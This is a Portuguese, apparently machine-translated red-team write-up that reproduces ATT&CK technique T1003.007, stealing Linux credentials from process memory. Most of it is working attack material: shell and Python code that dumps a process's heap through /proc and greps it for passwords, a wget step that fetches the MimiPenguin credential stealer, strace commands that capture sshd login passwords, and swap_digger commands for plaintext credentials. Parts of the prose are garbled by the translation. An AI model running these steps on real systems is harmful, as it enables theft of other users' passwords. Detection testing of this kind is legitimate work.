0x01 informações básicas
informação específica | detalhes |
---|---|
Número ATT&CK | T1003-007 |
fase tática | acesso credencial |
sistema operacional | Linux |
tempo de criação | 7 de dezembro de 2022 |
plataforma de monitoramento | Tinder Security, Tinder Sword, sysmon |
0x02 Princípio técnico
O sistema de arquivos proc é um pseudo-sistema de arquivos que fornece uma interface para estruturas de dados do kernel para sistemas operacionais baseados em Linux. Geralmente é instalado no diretório /proc. Um invasor pode despejar a memória do processo e extrair texto sem formatação e senhas com hash para credenciais em um sistema baseado em Linux. O sistema de arquivos proc permite que processos executados com privilégios de root obtenham memória em tempo real de outros programas em execução. Se algum programa armazenar texto simples ou senhas com hash na memória, os invasores podem extrair esses valores para exploração.
0x03 Ambiente de recorrência
lista de ferramentas | Links Relacionados |
---|---|
pegador de senha mimipinguim | https://github.com/huntergregal/mimipenguin |
Impost3r rouba várias senhas no Linux | https://github.com/ph4ntonn/Impost3r |
ferramenta de recuperação de credenciais swap_digger | https://github.com/sevagas/swap_digger |
condição de ataque | Um shell que obteve privilégios de administrador |
0x04 Processo de recorrência
Use /proc/$PID/mem
, em que $PID é o ID do processo de destino, usa um utilitário de shell para copiar a memória do processo para um arquivo externo para pesquisa ou exfiltração posterior.
nome | descrever | tipo | Padrões |
---|---|---|---|
arquivo de saída | O caminho para colocar os resultados da pesquisa | caminho | /tmp/T1003.007.bin |
caminho do script | O caminho para o script que gera o processo de destino | caminho | /tmp/T1003.007.sh |
pid_term | Uma string exclusiva usada para identificar o processo de destino | corda | T1003.007 |
Comando de ataque: execute sh! Privilégios elevados necessários
sh #{script_path} #执行获取进程的脚本,可以批量获取进程,也可作为单个进程输入
PID=$(pgrep -n -f "#{pid_term}") #获取进程对应pid号
HEAP_MEM=$(grep -E "^[0-9a-f-]* r" /proc/"$PID"/maps | grep heap | cut -d' ' -f 1) #获取进程虚拟空间中堆的虚拟内存区域范围(VMA)
MEM_START=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f1)))) #分隔VMA起始地址
MEM_STOP=$(echo $((0x$(echo "$HEAP_MEM" | cut -d"-" -f2)))) #分隔VMA结束地址
MEM_SIZE=$(echo $((0x$MEM_STOP-0x$MEM_START))) #计算堆的虚拟内存区域大小
dd if=/proc/"${PID}"/mem of="#{output_file}" ibs=1 skip="$MEM_START" count="$MEM_SIZE" #读取进程pid在内存中的内容,并把虚拟内存区域标准输出为一个文件
grep -i "PASS" "#{output_file}" #忽略字符大小写过滤pass
Usando o processo de serviço sshd como exemplo, o número do processo pid do sshd obtido é 1154
Obtenha o intervalo de área de memória virtual (VMA) do heap no espaço virtual do processogrep -E "^[0-9a-f-]* r" /proc/1154/maps | grep heap | cut -d' ' -f 1
Leia o conteúdo do pid do processo na memória e salve o início e o fim do heap em um arquivo, que pode ser executado com um script de shell para encontrar informações confidenciais vazadas para o arquivo de saída
Despejar memória de processo individual usando python (nativo)
Use /proc/$PID/mem
, onde $PID é o ID do processo de destino e use um script Python para copiar a memória heap do processo para um arquivo externo para pesquisa ou divulgação posterior; a mesma ideia acima, exceto que o acima é implementado usando sh, aqui é através do python Alcançado
Nome | descrever | tipo | Padrões |
---|---|---|---|
arquivo de saída | Caminho para colocar os resultados da captura | caminho | /tmp/T1003.007.bin |
caminho do script | O caminho para o script que gera o processo de destino | caminho | /tmp/T1003.007.sh |
script python | O caminho para o script que gera o processo de destino | caminho | /T1003.007/src/dump_heap.py |
pid_term | Uma string exclusiva usada para identificar o processo de destino | corda | T1003.007 |
O comando de ataque é o seguinte
PID=$(pgrep -n -f "#{pid_term}")
PYTHON=$(which python || which python3 || which python2)
$PYTHON #{python_script} $PID #{output_file}
grep -i "PASS" "#{output_file}"
O script python precisa ser executado em um ambiente python3
#!/usr/bin/env python
'''Dump a process's heap space to disk
Usage:
python dump_proc.py <PID> <filepath>
'''
import argparse
parser = argparse.ArgumentParser(description='Dump a process\'s heap space to disk')
parser.add_argument('pid', type=int, help='ID of process to dump')
parser.add_argument('filepath', help='A filepath to save output to')
args = parser.parse_args()
process_id = args.pid
output_file = args.filepath
with open("/proc/{}/maps".format(process_id), "r") as maps_file:
# example: 5566db1a6000-5566db4f0000 rw-p 00000000 00:00 0 [heap]
heap_line = next(filter(lambda line: "[heap]" in line, maps_file))
heap_range = heap_line.split(' ')[0]
mem_start = int(heap_range.split('-')[0], 16)
mem_stop = int(heap_range.split('-')[1], 16)
mem_size = mem_stop - mem_start
with open("/proc/{}/mem".format(process_id), "rb") as mem_file:
mem_file.seek(mem_start, 0)
heap_mem = mem_file.read(mem_size)
with open(output_file, "wb") as ofile:
ofile.write(heap_mem)
Capture senhas com MimiPenguin
O MimiPenguin é uma ferramenta inspirada no MimiKatz voltada para sistemas Linux afetados pelo CVE-2018-20781 (distribuições baseadas no Ubuntu e algumas versões do GNOME Keyring). Após a execução bem-sucedida em um sistema afetado, o MimiPenguin recuperará a senha da memória e a enviará para o arquivo especificado.
Nome | descrever | tipo | Padrões |
---|---|---|---|
arquivo de saída | Caminho para colocar os resultados da captura | caminho | /tmp/T1003.007Test3.txt |
MimiPenguin_Location | Caminho para o script MimiPenguin | caminho | /tmp/mimipenguin/mimipenguin_2.0-release/mimipenguin.sh |
ordem de ataque
{MimiPenguin_Location} > #{output_file}
cat #{output_file}
Pré-requisito: O script MimiPenguin deve existir no disco no local especificado
wget -O "/root/mimipenguin.tar.gz" https://github.com/huntergregal/mimipenguin/releases/download/2.0-release/mimipenguin_2.0-release.tar.gz
mkdir /root/mimipenguin
tar -xzvf "/root/mimipenguin.tar.gz" -C /root/mimipenguin
Pode capturar a senha de entrada da área de trabalho do gnome
Strace obtém credenciais de login
strace
É uma poderosa ferramenta de diagnóstico de depuração e análise do Linux, que pode ser usada para rastrear a chamada do sistema do processo (chamada do sistema) e o sinal recebido durante a execução do programa, especialmente para programas cujo código-fonte é ilegível ou código-fonte não pode ser recompilado.
ordem de ataque
pgrep -n -f "sshd" #查询sshd服务对应的pid号
strace -f -p {sshd-pid} -o #{outfile.txt}
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' outfile.txt_location #正则匹配用户密码
swap_digger extrai vários certificados
swap_digger é um script bash para automatizar a análise de troca do Linux para fins de pós-exploração ou forense. Ele automaticamente troca extrações e buscas por credenciais de usuário Linux, credenciais de formulário web, e-mails de formulário web, autenticação básica HTTP, WiFi SSID e chaves, etc.
ordem de ataque
swap_digger.sh -p #恢复Linux使用了的明文密码
swap_digger.sh -a #获取所有的密码凭证包含WiFi,HTTP表单
swap_digger.sh -S #查找可利用的交换分区
0x05 Resumo
Como pode ser visto nos experimentos acima, obter credenciais Linux é basicamente pegar a memória em tempo real de outros programas em execução, e se algum desses programas armazenar senhas na memória como texto simples ou hashes de senha, eles podem ser acessados separadamente. são coletados para uso ou cracking para obter credenciais de login do Linux. As duas ferramentas MimiPenguin e swap_digger são tendenciosas para cenários de ataque automatizado.